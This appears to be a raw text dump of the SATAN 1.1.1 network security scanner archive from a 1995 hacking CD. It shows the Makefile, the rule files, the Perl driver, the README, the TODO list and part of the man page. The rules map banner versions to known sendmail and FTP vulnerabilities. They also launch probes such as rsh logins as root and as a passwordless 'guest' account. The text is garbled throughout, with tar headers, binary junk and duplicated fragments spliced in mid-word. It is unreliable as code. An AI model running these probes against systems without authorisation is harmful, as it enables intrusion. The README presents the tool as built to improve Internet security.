home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UTILS / SATAN-~1.ZIP / SATAN-~1
Text File  |  1996-05-19  |  921KB  |  26,556 lines

  1. satan-1.1.1/........................................................................................   755 .   465 .   506 .          0  5742521634   5624. .....................................................................................................
  2. ...............................................................................................................................................................................................................................................................sa
  3. tan-1.1.1/Makefile................................................................................   700 .   465 .   506 .       4240  5741733002   7333. .......................................................................................................
  4. .............................................................................................................................................................................................................................................................SHEL
  5. L.= /bin/sh
  6. MAKE.= make
  7. RPCGEN.= rpcgen
  8. #LIBS.= -lsocket -lnsl
  9.  
  10. what:
  11. .@echo "Usage: make system-type. Known types are:"
  12. .@echo "aix osf bsd bsdi dgux irix4 irix5 freebsd hpux9 linux sunos4 sunos5 sysv4"
  13. .@exit 1;
  14.  
  15. aix osf bsd hpux9 sunos4:
  16. .@$(MAKE) all LIBS= XFLAGS="-DAUTH_GID_T=int"
  17.  
  18. ultrix4:
  19. .@$(MAKE) rpcgen all LIBS= XFLAGS="-DAUTH_GID_T=int" \
  20. ..RPCGEN="../../bin/rpcgen"
  21.  
  22. bsdi:
  23. .@$(MAKE) all LIBS="-lrpc" XFLAGS="-DAUTH_GID_T=int"
  24.  
  25. freebsd:
  26. .@$(MAKE) all LIBS= XFLAGS="-DAUTH_GID_T=int -DSYS_ERRLIST_DECLARED"
  27.  
  28. linux:
  29. .@echo The LINUX rules are untested and may be wrong
  30. .@set +e; test -f include/netinet/ip.h || {\
  31. ..echo Please copy the 44BSD /usr/include/netinet include files; \
  32. ..echo files to `pwd`/include/netinet and try again.;\
  33. ..exit 1; \
  34. .}
  35. .@$(MAKE) all LIBS= XFLAGS="-I`pwd`/include -DAUTH_GID_T=int"
  36.  
  37. irix4:
  38. .@$(MAKE) all LIBS="-lXm_s -lXt_s -lX11_s -lPW -lc_s -lsun" \
  39. ..XFLAGS="-DAUTH_GID_T=int"
  40.  
  41. irix5:
  42. .@$(MAKE) all LIBS= XFLAGS="-DAUTH_GID_T=gid_t"
  43.  
  44. dgux:
  45. .@$(MAKE) all LIBS="-lnsl" XFLAGS="-DAUTH_GID_T=gid_t -DTIRPC"
  46.  
  47. sunos5:
  48. .@$(MAKE) all LIBS="-lsocket -lnsl" XFLAGS="-DAUTH_GID_T=gid_t -DTIRPC"
  49.  
  50. sysv4:
  51. .@$(MAKE) rpcgen all LIBS="-lsocket -lnsl" \
  52. ..XFLAGS="-DAUTH_GID_T=gid_t -DTIRPC" \
  53. ..RPCGEN="../../bin/rpcgen"
  54.  
  55. rpcgen:
  56. .cd src/rpcgen; $(MAKE) "LIBS=$(LIBS)" "XFLAGS=$(XFLAGS)"
  57.  
  58. all:
  59. .cd src/misc; $(MAKE) "LIBS=$(LIBS)" "XFLAGS=$(XFLAGS)" "RPCGEN=$(RPCGEN)"
  60. .cd src/boot; $(MAKE) "LIBS=$(LIBS)" "XFLAGS=$(XFLAGS)" "RPCGEN=$(RPCGEN)"
  61. .cd src/port_scan; $(MAKE) "LIBS=$(LIBS)" "XFLAGS=$(XFLAGS)"
  62. .cd src/nfs-chk; $(MAKE) "LIBS=$(LIBS)" "XFLAGS=$(XFLAGS)" "RPCGEN=$(RPCGEN)"
  63. .cd src/yp-chk; $(MAKE) "LIBS=$(LIBS)" "XFLAGS=$(XFLAGS)" "RPCGEN=$(RPCGEN)"
  64. .cd src/fping; $(MAKE) "LIBS=$(LIBS)" "CFLAGS=$(XFLAGS)"
  65.  
  66. checksums:
  67. .@find * -type f -print | sort | xargs md5
  68.  
  69. clean: 
  70. .cd src/misc; $(MAKE) clean
  71. .cd src/boot; $(MAKE) clean
  72. .cd src/port_scan; $(MAKE) clean
  73. .cd src/nfs-chk; $(MAKE) clean
  74. .cd src/yp-chk; $(MAKE) clean
  75. .cd src/fping; $(MAKE) clean
  76. .cd src/rpcgen; $(MAKE) clean
  77. .rm -f html/satan.html html/satan_documentation.html status_file \
  78. .bit_bucket
  79.  
  80. tidy:.clean
  81. .rm -f *.old *.bak *.orig */*.old */*.bak */*.orig tmp_file*
  82. .rm -rf results
  83. .chmod -x satan
  84. ..7{.....rnlast....(..7|.....rnsoft....8..7}.....exrc.4d...L..7~.....omegarc...
  85. ...\..7.....junk.çf...p..7Ç.....sde_lso...0...Ç..7ü.....mailrc....É..7é.....stdwin....ñ..7â.....dosimis...└...┤..7Σ.....mdp...┴...─..7à.....shape.┬...╘..7σ.....cfront....Σ..7ç.....letter....⌠..7ê.....login.┼......7ë....ada.......7è.....article...╟...$..7ï.
  86. ....mike..╚...4satan-1.1.1/include/................................................................................   700 .   465 .   506 .          0  5742521532   7232. ......................................................................................
  87. .................................................................................................................................................................................................................................................................
  88. .............satan-1.1.1/include/netinet/........................................................................   700 .   465 .   506 .          0  5742521532  10700. ........................................................................................
  89. .................................................................................................................................................................................................................................................................
  90. ...........satan-1.1.1/rules/..................................................................................   700 .   465 .   506 .          0  5742521533   6742. ..........................................................................................
  91. .................................................................................................................................................................................................................................................................
  92. .........satan-1.1.1/rules/facts.............................................................................   600 .   465 .   506 .       3355  5740002724  10054. ............................................................................................
  93. .................................................................................................................................................................................................................................................................
  94. .......#
  95. # Rules that deduce new facts from existing data. Each rule is executed once
  96. # for each 'a' SATAN record. The rule format is:
  97. #
  98. #.condition TABs fact
  99. #
  100. # The condition is a PERL expression that has full access to the global
  101. # $target..$text variables, to functions, and to everything that has been
  102. # found sofar. The fact is a SATAN record. 
  103. #
  104. # Empty lines and text after a "#" character are ignored. Long lines may
  105. # be broken with backslash-newline.
  106. #
  107. #
  108. # version 1, Sun Mar 19 10:32:57 1995, last mod by zen
  109. #
  110.  
  111. #
  112. # Assume rexd is insecure without even trying
  113. #
  114. /runs rexd/.$target|assert|a|us|ANY@$target|ANY@ANY|REXD access|rexd is vulnerable
  115.  
  116. # SENDMAIL SECTION ;-)
  117. #
  118. # assume berkeley versions of sendmail < 8.6.10 are hosed:
  119. /sendmail 8\.6\.([0-9]+)/i && $1 < 10 \
  120. ..$target|assert|a|rs|ANY@$target|ANY@$target|Sendmail vulnerabilities|sendmail pre 8.6.10
  121.  
  122. #
  123. # other sendmail versions
  124.  
  125. # HP
  126. /HP Sendmail \(1\.37\.109\.11/ \
  127. ..$target|assert|a|rs|ANY@$target|ANY@$target|Sendmail vulnerabilities|sendmail pre 8.6.10
  128.  
  129. #
  130. # Generic (or derived from) BSD; should have something >= 5.60
  131. /[Ss]endmail (5\.60)/ && $1 <= 5.60 \
  132. ..$target|assert|a|rs|ANY@$target|ANY@$target|Sendmail vulnerabilities|sendmail pre 5.61
  133.  
  134. #
  135. # Sequent/DYNIX; if <= 5.65, broken...
  136. /[Ss]endmail (5\.65)/ && $1 <= 5.65 && /DYNIX/ \
  137. ..$target|assert|a|rs|ANY@$target|ANY@$target|Sendmail vulnerabilities|DYNIX sendmail, pre 5.65
  138.  
  139. #
  140. # OTHER PROBLEMS
  141. #
  142. # 220 wuarchive.wustl.edu FTP server (Version wu-2.4(1) Mon 
  143. /ftp.*\(version wu-2.([0-9]+)/i && $1 < 4 \
  144. ..$target|assert|a|rs|ANY@$target|ANY@$target|FTP vulnerabilities|wuftp pre 2.4
  145.  
  146. # a modem on a port?  Surely you jest...
  147. /AT\\[nr].*OK\\[nr]/.$target|assert|a|rs|ANY@$target|ANY@$target|unrestricted modem|unrestricted modem on the Internet
  148. ype f -print | sort | xargs md5
  149.  
  150. clean: 
  151. .cd src/misc; $(MAKE) clean
  152. .cd src/boot; $(MAKE) clean
  153. .cd src/port_scan; $(MAKE) clean
  154. .cd src/nfs-chk; $(MAKE) clean
  155. .cd src/yp-chk; $(MAKE) clean
  156. .cd src/fping; $(MAKE) clean
  157. .cd src/rpcgen; $(MAKE) clean
  158. .rm -f html/satan.html htsatan-1.1.1/rules/hosttype..........................................................................   600 .   465 .   506 .       6651  5737737655  10665. ............................................................................
  159. .................................................................................................................................................................................................................................................................
  160. .......................#
  161. # Rules that recognize host types from telnet/ftp/smtp banners. These are
  162. # applied to every telnet/ftp/sendmail record. Format of this file is:
  163. #
  164. #.CLASS class_name
  165. #.condition TABs hosttype
  166. #
  167. # Empty lines and text after a "#" character are ignored. Long lines may
  168. # be broken with backslash-newline.
  169. #
  170. # The class_name is used for the first rough breakdown by host type in,
  171. # for example, reports. It should be a major software category.
  172. # The condition is a PERL expression, with full access to the global
  173. # $target..$text variables; HOSTTYPE stands for the current hostname
  174. # info for the target host. UNKNOWN is true when the host type is unknown.
  175. #
  176. # The hosttype field is an expression that evaluates to a host type;
  177. # when it is absent, the value $1 is taken.
  178. #
  179. #
  180. # version 1, Sun Mar 26 18:39:56 1995, last mod by zen
  181. #
  182.  
  183. #
  184. # Beware: AIX 3.x telnetd claims to be version 3.
  185. #
  186. CLASS AIX
  187. /(AIX [.0-9]+)/
  188. /AIX Version ([.0-9]+)/......"AIX $1"
  189. /AIX Version ([0-9]) / && length(HOSTTYPE) <= 3..."AIX $1"
  190. UNKNOWN && /(AIX)/
  191.  
  192. #
  193. # Beware: Ultrix 4.x ftpd claims to be version 4.1.
  194. #
  195. CLASS Ultrix
  196. /ultrix[\/v ]+([.0-9]+[A-Z]*)/i....."Ultrix $1"
  197. /ultrix version 4/i && length(HOSTTYPE) <= 6..."Ultrix 4"
  198. UNKNOWN && /ultrix/i......"Ultrix"
  199.  
  200. CLASS VMS
  201. /(VAX\/VMS)/
  202. /(OpenVMS)/
  203. UNKNOWN && /MultiNet/......"VAX/VMS"
  204.  
  205. #
  206. # The first pattern is good for HP-UX 8.x and 9.x telnetd.
  207. #
  208. CLASS HP
  209. /(HP-UX) .+ ([AB1-7]\.[A-Za-z0-9.]+) /...."$1 $2"
  210. UNKNOWN && /(HP-UX)/
  211. UNKNOWN && /HP Sendmail/....."HP-UX"
  212.  
  213. #
  214. # What about earlier IRIX versions?
  215. #
  216. CLASS SGI
  217. /IRIX System V.3/......"IRIX 4"
  218. /IRIX System V.4/......"IRIX 5"
  219. UNKNOWN && /\b(IRIX|SGI)\b/....."IRIX"
  220.  
  221. #
  222. # SunOS 4.x ftpd and sendmail claim to be version 4.1
  223. # SunOS 5.x ftpd and telnetd claim to be generic SYSV40
  224. # SunOS 5.x will end up as "other" when they replaced sendmail
  225. #
  226. CLASS SUN
  227. UNKNOWN && /SunOS/......"SunOS 4"
  228. /4.1\/SMI-4.1/......."SunOS 4"
  229. /SMI-SVR4/......."SunOS 5"
  230.  
  231. #
  232. # Domain/OS ftpd gives more specific version information than telnetd.
  233. #
  234. CLASS APOLLO
  235. /(Domain\/OS sr[.0-9]+)/ && length($1) > length(HOSTTYPE)
  236. UNKNOWN && /(Domain\/OS)/
  237. /Apollo/......."Domain/OS"
  238.  
  239. #
  240. # Beware: NeXTStep 3.x ftp announces itself as NeXT 1.0.
  241. # Beware: NeXTStep 3.x sendmail announces itself as NX5.xx/NX3.0.
  242. #
  243. CLASS NEXT
  244. /NX.*\/NX([0-9]+)/......"NeXTStep $1"
  245. UNKNOWN && /(NeXT)/......"NeXTStep"
  246.  
  247. #
  248. # Data General
  249. #
  250. CLASS DG/UX
  251. UNKNOWN && /\b(DG\/UX)\b/.....$1
  252. /DG\/UX .* Release ([-\/A-Z0-9.]+)/...."DG/UX $1"
  253.  
  254. #
  255. # Linux
  256. #
  257. CLASS LINUX
  258. UNKNOWN && /(Linux)/
  259. /(Linux [0-9.]+)/
  260.  
  261. #
  262. # 4.4 BSD, BSDI, etc.
  263. #
  264. CLASS 4.4 BSD
  265. /(FreeBSD|NetBSD)/
  266. # e.g. BSDI BSD/386 1.1
  267. /(BSDI) BSD\/[0-9]+\s([0-9]+)/....."$1 $2"
  268. # e.g. BSDI BSD/OS 2.0
  269. /(BSDI) BSD\/OS\s([0-9]+)/....."$1 $2"
  270.  
  271. #
  272. # Apple A/UX
  273. #
  274. CLASS A/UX
  275. /A\/UX.([.0-9]+)/......"A/UX $1"
  276. /(A\/UX)/
  277.  
  278. #
  279. # Sequent slipped by us!
  280. CLASS Sequent
  281. /(DYNIX\/ptx)/
  282. /DYNIX\(R\) (V[.0-9]+)/......"DYNIX $1"
  283. /DYNIX/........"Sequent/DYNIX"
  284.  
  285. #
  286. # Sony NEWS-OS
  287. CLASS SONY
  288. /NEWS-OS Release ([.0-9]+)/....."NEWS-OS $1"
  289. /(NEWS-OS)/
  290.  
  291. #
  292. # Missed'em five
  293. #
  294. CLASS SYSTEM V
  295. UNKNOWN && /(System V) Release ([.0-9]+)/..."$1.$2"
  296. UNKNOWN && /(System V[.0-9]*)/
  297.  
  298. #
  299. # Not really mainstream, but...
  300. #
  301. CLASS OSF
  302. /OSF\/([.0-9]+)/......"OSF $1"
  303.  
  304. #
  305. # Some of these still need some refinement.
  306. #
  307. CLASS other
  308. /(Macintosh|ConvexOS)/
  309. /(Windows NT|OS\/2)/
  310. /VersaTerm/......."Macintosh"
  311. /(Codonics|APS-TI|Cray UNICOS)/
  312. /InfiniteStorage/......"Epoch"
  313. /(PC\/TCP)/
  314. /(NetWare|NEWT)\s*[Vv]*([.0-9]*)/...."$1 $2"
  315. /\b(CMC)\b/
  316. /(Epoch|RTU) /
  317. /(IBM VM|IBM MVS)/
  318. ....xnews.svin04:0....T..7┤.....tododb....d..7╡....probes.·...x..7╢...
  319. .mosaicpid.....îsatan-1.1.1/rules/services..........................................................................   600 .   465 .   506 .       2712  5740027176  10603. .....................................................................................
  320. .................................................................................................................................................................................................................................................................
  321. ..............#
  322. # Rules that classify hosts by service. These are applied to every 'a' SATAN
  323. # record. Basically, they translate the cryptic SATAN record data to something
  324. # that is more suitable for reports.
  325. #
  326. # Format of this file is:
  327. #
  328. #.class_name
  329. #.condition TABs service_name TABS host
  330. #
  331. # The class_name is SERVERS or CLIENTS.
  332. # The condition is a PERL expression, with full access to the global
  333. # $target..$text variables.
  334. #
  335. # The service_name field specifies a name such as "anonymous FTP" or
  336. # "NFS (diskless)".
  337. #
  338. # The host field specifies the host that takes or provides the service.
  339. # When no host is specified, $target is assumed.
  340. #
  341. # Empty lines and text after a "#" character are ignored. Long lines may
  342. # be broken with backslash-newline.
  343. #
  344.  
  345. SERVERS
  346.  
  347. $service eq "nntp"...NNTP (Usenet news)
  348. $service eq "ftp" && /ANONYMOUS/.Anonymous FTP
  349. /NIS server/....NIS
  350. /runs NFS| exports \S+ to /..NFS
  351. /mounts \S+ from (\S+)/...NFS...$1
  352. /offers domain/....DNS
  353. /\/root\/\S+ to \S+/...NFS (diskless)
  354. /offers gopher/....Gopher
  355. /offers http/....WWW
  356. /offers X-[0-9]+$/...X Windows
  357. $service eq "xdmcp"...XDM (X login)
  358. /telnet on port (\d+)/...Telnet on port $1
  359. /<title>/i && $service ne "http".WWW (non-standard port)
  360. /0'QUIT'/ && $service ne "gopher".Gopher (non-standard port)
  361. /220.*ftp server/i && $service ne "ftp".FTP (non-standard port)
  362.  
  363. CLIENTS
  364.  
  365. /NIS client/....NIS
  366. /\/root\/\S+ to (\S+)/...NFS (diskless)..$1
  367. /exports \S+ to \(\S+\)/..NFS...$1
  368. /([^| ]+) mounts \S+ from \S+/..NFS...$1
  369. l/....."HP-UX"
  370.  
  371. #
  372. # What about earlier IRIX versions?
  373. satan-1.1.1/rules/todo..............................................................................   600 .   465 .   506 .       5222  5741552217   7724. .....................................................................................................
  374. ...............................................................................................................................................................................................................................................................#
  375. # Rules that specify what probes to try next. Each rule is applied once
  376. # to every 'a' SATAN record. Format of this file is:
  377. #
  378. #.condition TABs target tool tool-arguments
  379. #
  380. # Empty lines and text after a "#" character are ignored. Long lines may
  381. # be broken with backslash-newline.
  382. #
  383. # The condition is a PERL expression, with full access to the global
  384. # $target..$text variables and to everything else that has been found out
  385. # sofar. The target is the host that the tool is aimed at. A "*" before
  386. # the tool argument list is a hack that specifies that tool arguments
  387. # should be ignored when looking for duplicate tool invocations.
  388. #
  389. # When the condition is satisfied, the tool is executed as:
  390. #
  391. #.tool tool-arguments target
  392. #
  393. # The $junk variable is available for temporary results (wow!).
  394. #
  395. # The software keeps track of already executed tool invocations.
  396. #
  397. # version 2, Mon Mar 27 20:42:15 1995, last mod by wietse
  398. #
  399.  
  400. #
  401. # Output from the rpcinfo probe. Tools will be executed only when
  402. # permitted by attack level constraints.
  403. #
  404. $service eq "mountd"...$target "showmount.satan"
  405. $service eq "mountd"...$target "nfs-chk.satan" "-t $short_timeout"
  406. $service eq "ypserv"...$target "ypbind.satan"
  407. $service eq "rexd"...$target "rex.satan"
  408. $service eq "rusersd"...$target "rusers.satan"
  409.  
  410. #
  411. # Output from the finger or rusers probe: finger the origin of the login.
  412. #
  413. $severity eq "l" && "$trustee|$trusted" =~ /(.*)@.*@(.*)/ \
  414. .....$2 "finger.satan" "-u $1"
  415. #
  416. # Output from the port scanners. Tools will be executed only when
  417. # permitted by the attack level constraints.
  418. #
  419. $service eq "ftp"...$target "ftp.satan"
  420. $untrusted_host && $service eq "shell".$target "rsh.satan"
  421. $untrusted_host && $service eq "shell".$target "rsh.satan" "-u root"
  422. $service eq "tftp"...$target "tftp.satan"
  423. $service =~ /X-([0-9]+)/..$target "xhost.satan" "-d $target:$1"
  424.  
  425. #
  426. # Output from showmount. The "*" at the beginning of the tool argument
  427. # list is a hack that specifies that tool arguments should be ignored
  428. # when looking for duplicate tool invocations.
  429. #
  430. $trustee =~ /\/export\/root\/(.*)@(.*)/ && ($junk = &fix_hostname($1,$2)) ne ""\
  431. .....$target "boot.satan" $junk
  432.  
  433. #
  434. # Output from the bootparam probe gives us the NIS domain name. With
  435. # ypwhich we can ask the host who its NIS server is.
  436. #
  437. $service eq "boot" && $service_output =~ /domain (\S+)/ \
  438. .....$target "ypbind.satan" "-d $1"
  439. $service eq "boot" && $service_output =~ /domain (\S+)/ \
  440. .....$target "yp-chk.satan" "$1"
  441. #
  442. # Example of site specific rule; SGI's, for instance, have a "guest", "lp",
  443. # and other account with no password when out-of-the-box from SGI.  Here's
  444. # how you could check for this:
  445. $untrusted_host && /IRIX/..$target "rsh.satan" "-u guest"
  446.  is satisfied, the tool is executed as:
  447. #
  448. #.tool tool-arguments target
  449. #
  450. # The $junk variable is available for temporary results (wow!).
  451. #
  452. # The software keeps track of already executed tool invocations.
  453. #
  454. # version 2, Mon Mar 27 20:42:15 1995, last mod by wietse
  455. #
  456.  
  457. #
  458. # Output from the rpcinfo probe. Tools will be executed only when
  459. # permitted by attack level consatan-1.1.1/rules/trust.............................................................................   600 .   465 .   506 .       1656  5736327466  10161. ......................................................................
  460. .................................................................................................................................................................................................................................................................
  461. .............................#
  462. # Rules that classify hosts by trust relationship. These are applied to
  463. # every 'a' SATAN record. Basically, they translate the cryptic SATAN
  464. # record data to something that is more suitable for reports.
  465. #
  466. # Format of this file is:
  467. #
  468. #.condition TABs relationship
  469. # The condition is a PERL expression, with full access to the global
  470. # $target..$text variables.
  471. #
  472. # The relationship field specifies a name such as "remote login" or
  473. # "file sharing".
  474. #
  475. # Empty lines and text after a "#" character are ignored. Long lines may
  476. # be broken with backslash-newline.
  477. #
  478. # version 1, Mon Mar 27  9:30:32 1995, last mod by wietse
  479. #
  480.  
  481. $severity eq "l" && $trustee =~ /^root@/.root login
  482. $severity eq "l" && $trustee !~ /^root@/.user login
  483. $text =~ /exports \S+ to/...NFS export
  484. $text =~ / mounts \S+/....NFS export
  485. /serves nis domain/....NIS client
  486. $trustee =~ /\/export\/root\/(.*)@(.*)/..boot client
  487. /authoritative DNS host/...domain name service
  488. he rpcinfo probe. Tools will be executed only when
  489. # permitted by attack level consatan-1.1.1/rules/drop..............................................................................   600 .   465 .   506 .        641  5720110064   7666. ......................................................................
  490. .................................................................................................................................................................................................................................................................
  491. .............................# 
  492. # Rules that determine what facts should be ignored. Each rule is applied once
  493. # for each 'a' SATAN fact. A rule is a PERL condition that has full access to
  494. # the $target..$text globals and to all functions.
  495. #
  496. # Empty lines and text after a "#" character are ignored. Long lines may
  497. # be broken with backslash-newline.
  498.  
  499. #
  500. # Don't complain about /cdrom being exported to the world.
  501. #
  502. $text =~ /exports \/cdrom/i
  503.  "remote login" or
  504. # "file sharing".
  505. #
  506. # Empty lines and text after a "#" character are ignoredsatan-1.1.1/satan...................................................................................   600 .   465 .   506 .       5645  5742457415   6751. .............................................
  507. .................................................................................................................................................................................................................................................................
  508. ......................................................#!/usr/local/bin/perl5
  509. #
  510. # version 3, Tue Apr  4  8:58:13 1995, last mod by wietse
  511. #
  512.  
  513. $running_under_satan = 1;
  514.  
  515. require 'config/version.pl';
  516. require 'config/satan.cf';
  517. require 'perl/satan-data.pl';
  518. require 'perl/run-satan.pl';
  519. require 'perl/misc.pl';
  520. require 'perllib/getopts.pl';.# IRIX needs it at the end.
  521.  
  522. #
  523. # Defaults are taken from the config file. There are three ways to control
  524. # operation: from the command line, from the satan.cf file, and from the
  525. # HTML user interface. That's a bit much.
  526. #
  527. $opt_a = $attack_level;
  528. $opt_A = $proximity_descent;
  529. $opt_d = $satan_data;
  530. $opt_l = $max_proximity_level;
  531. $opt_o = $only_attack_these;
  532. $opt_O = $dont_attack_these;
  533. $opt_s = $attack_proximate_subnets;
  534. $opt_S = $status_file;
  535. $opt_t = 1;
  536. $opt_u = $untrusted_host;
  537. $opt_v = 0;
  538. $opt_z = $sub_zero_proximity;
  539.  
  540. #
  541. # Parse JCL.
  542. #
  543. $usage = "usage: $0 [options] [targets...]
  544.  
  545. Enters interactive mode when no target host is specified.
  546.  
  547. -a..attack level (0=light, 1=normal, 2=heavy, default $opt_a)
  548. -A..proximity descent (default $opt_A)
  549. -c list..change variables (list format: \"name=value; name=value; ...\")
  550. -d database.data directory (default $opt_d)
  551. -i..ignore existing results
  552. -l proximity.maximal proximity level (default $opt_l)
  553. -o list..scan only these (default '$opt_o')
  554. -O list..stay away from these (default '$opt_O')
  555. -s..expand primary hosts to subnets
  556. -S status_file.pathname with scanning status file (default $opt_S)
  557. -t level.timeout (0 = short, 1 = medium, 2 = long, default $opt_t)
  558. -u..running from an untrusted host (for rsh/nfs tests)
  559. -U..running from a trusted host (for rsh/nfs tests)
  560. -v..turn on debugging output
  561. -V..print version number
  562. -z..when attack level becomes negative, continue at level 0
  563. -Z..stop at attack level 0
  564. ";
  565.  
  566. &Getopts("a:A:c:d:e:il:o:O:sS:t:uUvVzZ") || die $usage;
  567.  
  568. if ($opt_V) {
  569. .print "SATAN version $satan_version\n";
  570. .exit 0;
  571. }
  572.  
  573. # The power of PERL never stops to amaze me - Wietse
  574. for (split(/\s*;\s*/, $opt_c)) {
  575. .${$name} = $value if ($name, $value) = split(/\s*=\s*/, $_, 2);
  576. }
  577.  
  578. print "SATAN is starting up....\n" if $#ARGV < 0;
  579.  
  580. $debug = $opt_v;
  581.  
  582. @all_attacks = (\@light, \@normal, \@heavy);
  583. die "bad attack level: $opt_a\n" unless $all_attacks[$opt_a];
  584. $attack_level = $opt_a;
  585.  
  586. $satan_data = $opt_d;
  587.  
  588. $max_proximity_level = $opt_l;
  589. $proximity_descent = $opt_A;
  590. $sub_zero_proximity = $opt_z;
  591. $sub_zero_proximity = 0 if $opt_Z;
  592.  
  593. $only_attack_these = $opt_o;
  594. $dont_attack_these = $opt_O;
  595.  
  596. $attack_proximate_subnets = $opt_s;
  597. $status_file = $opt_S;
  598.  
  599. @all_timeouts = ($short_timeout, $med_timeout, $long_timeout);
  600. die "bad timeout: $opt_t\n" unless $all_timeouts[$opt_t];
  601. $timeout = $all_timeouts[$opt_t];
  602.  
  603. $untrusted_host = $opt_u;
  604. $untrusted_host = 0 if $opt_U;
  605.  
  606. umask 077;.# DON'T TAKE THIS OUT!!!
  607.  
  608. if ($#ARGV < 0) {
  609. .#
  610. .# The HTML driver will eventually invoke init_satan() and run_satan().
  611. .#
  612. .require 'perl/html.pl';
  613. .&html();
  614. } else {
  615. .&init_satan_data();
  616. .&read_satan_data() unless defined($opt_i);
  617. .&run_satan(join(' ', @ARGV));
  618. }
  619.  
  620.  $1"
  621. /(NEWS-OS)/
  622.  
  623. #
  624. # Missed'em five
  625. #
  626. CLASS SYSTEM V
  627. UNKNOWN && /(System V) Release ([.0-9satan-1.1.1/README..................................................................................   600 .   465 .   506 .       4347  5742460317   6571. ................................................................
  628. .................................................................................................................................................................................................................................................................
  629. ...................................
  630. In order get things up and running,
  631.  
  632. - You need a UNIX system to run SATAN. In order to unpack the SATAN
  633.   archive,
  634.  
  635. .compress -d <satan-X.X.tar.Z | tar xvf -
  636.  
  637. - You will need PERL 5.000 or better (perl5 alpha is NOT good enough),
  638.   and a WWW browser (Netscape, Mosaic, or Lynx). SATAN looks a lot
  639.   better on a color display. The FAQ gives hints for MONO screens.
  640.  
  641. - When you collect or view data about hundreds of hosts you will need a
  642.   machine with enough CPU power (sparc5, indy, or better) and memory
  643.   (32 MB or better).
  644.  
  645. - Run the "reconfig" script. It will patch some scripts with the
  646.   pathnames of your PERL 5 executable, and of your WWW browser.  If
  647.   SATAN does not find the WWW browser that you want to use, edit the
  648.   config/paths.pl file and change the line 
  649.  
  650. .$MOSAIC="program_name";
  651.  
  652.   to whatever browser you prefer (make sure to preserve the quotation
  653.   marks and punctuation of the line.)
  654.  
  655. - Run the "make" command. It will ask you to specify a system type.
  656.   Most mainstream system types are provided. 
  657.  
  658. - When your network lies behind a firewall, you should unset your proxy
  659.   environment variables (such as $http_proxy $file_proxy, $socks_ns,
  660.   etc.) and/or change your browser configuration to not use your SOCKS
  661.   host or HTTP Proxy (see your HTML browser's option section.)
  662.  
  663. - Run the "satan" script. When run without arguments, it will start up
  664.   a WWW browser. The command-line interface is described in the satan.8
  665.   manual page ("nroff -man" format). You must run SATAN as superuser if
  666.   you want to collect data.
  667.  
  668. - You can run multiple SATAN processes in parallel to speed up data
  669.   collection, but each process should be given its own database (via
  670.   the "-d" command-line option). We use one SATAN database per block of
  671.   256 addresses (satan -d x.x.x x.x.x). After data collection you can
  672.   merge SATAN databases in core with the HTML browser (see the
  673.   documentation on scanning and databases for more on this.) Parallel
  674.   code and sharing of databases will come at a later date.
  675.  
  676. - Use your browser's PRINT button to print reports.
  677.  
  678. Most documentation is accessible via your WWW browser. 
  679.  
  680. Last but not least, SATAN was written to improve Internet security.
  681. Don't put our work to shame.
  682.  
  683. .Wietse Venema / Dan Farmer 
  684. .    (satan@fish.com)
  685.  
  686. o:O:sS:t:uUvVzZ") || die $usage;
  687.  
  688. if ($opt_V) {
  689. .print "SATAN version $satan_version\n";
  690. .exit 0;
  691. }
  692.  
  693. # The power of PERL never stops to amaze me - Wietse
  694. for (split(/\s*;\s*/, $opt_c)) {
  695. .${$name} = $value if ($name, $value) = split(/\s*=\s*/, $_, 2);
  696. }
  697.  
  698. print "SATAN is starting usatan-1.1.1/TODO....................................................................................   600 .   465 .   506 .       1425  5740233564   6373. ...........................................................................
  699. .................................................................................................................................................................................................................................................................
  700. ........................TODO list for future (SATAN version 1.1, 2.0, whatever)
  701. ----------------------------------------------------------
  702.  
  703. o.Enable SATAN to fork and run several scans in parallel
  704. o       Talk about sending mail/syslog to each host scanned
  705. o       Look at and deal with subnet masks properly...
  706. o       Put in a DNS walker
  707. o       fix rex client strategy (rex client is currently not being used)
  708. o       get a more complete list of banners from vendors and Internet
  709.         on what is vulnerable and not, for the rules/* files.
  710. o       many more bug tests, etc.
  711. o.Add AFS testing support; currently there is none
  712. o.Add SNMP testing/probing
  713.  
  714. And most importantly:
  715.  
  716. o       MAPS!  Big graphical maps that can *show* the relationships
  717.         and are clickable to let users zoom into things, etc...
  718.  
  719.  
  720. - Run the "satan" script. When run without arguments, it will start up
  721.   a WWW browser. The command-line interface is described in the satan.8
  722.   manual page ("nroff -man" format). You must run SATAN as superuser if
  723.   you want to collsatan-1.1.1/satan.8.................................................................................   600 .   465 .   506 .      11300  5741741456   7120. ...................................................................................
  724. .................................................................................................................................................................................................................................................................
  725. .................TH SATAN 8
  726. .SH NAME
  727. satan \- network security scanner
  728. .SH SYNOPSIS
  729. .B satan
  730. .I [options] [primary_target(s)...]
  731. .SH DESCRIPTION
  732. .B SATAN
  733. (Security Administrator Tool for Analyzing Networks) remotely probes
  734. systems via the network and stores its findings in a database. The
  735. results can be viewed with any Level 2 HTML browser that supports the
  736. .I http
  737. protocol (e.g.
  738. .B Mosaic, Netscape,
  739. etc.)
  740. .PP
  741. When no
  742. .I primary_target(s)
  743. are specified on the command line,
  744. .B SATAN
  745. starts up in interactive mode and takes commands from the HTML user
  746. interface.
  747. .PP
  748. When
  749. .I primary_target(s)
  750. are specified on the command line,
  751. .B SATAN
  752. collects data from the named hosts, and, possibly, from hosts that it
  753. discovers while probing a primary host. A primary target can be a host
  754. name, a host address, or a network number. In the latter case,
  755. .B SATAN
  756. collects data from each host in the named network.
  757. .PP
  758. .B SATAN
  759. can generate reports of hosts by type, service, vulnerability and by
  760. trust relationship. In addition, it offers tutorials that explain the
  761. nature of vulnerabilities and how they can be eliminated.
  762. .PP
  763. By default, the behavior of
  764. .B SATAN
  765. is controlled by a configuration file
  766. .I (config/satan.cf).
  767. The defaults can be overruled via command-line options or via buttons
  768. etc.  in the HTML user interface.
  769. .PP
  770. Options:
  771. .IP -a
  772. Attack level (0=light, 1=normal, 2=heavy). At level 0,
  773. .B
  774. SATAN collects information about
  775. .I RPC
  776. services and from the
  777. .I DNS.
  778. At level 1,
  779. .B SATAN
  780. collects banners of well-known services such as
  781. .I telnet, smtp
  782. and
  783. .I ftp,
  784. and can usually establish the type of operating system.  At level 2,
  785. .B SATAN
  786. does a more extensive (but still non-intrusive) scan for services.
  787. Level 2 scans may result in console error messages.
  788. .IP "-A proximity_descent"
  789. While
  790. .B SATAN
  791. extracts information from primary targets, it may discover other
  792. hosts.  The
  793. .I proximity_descent
  794. controls by how much the
  795. .I attack level
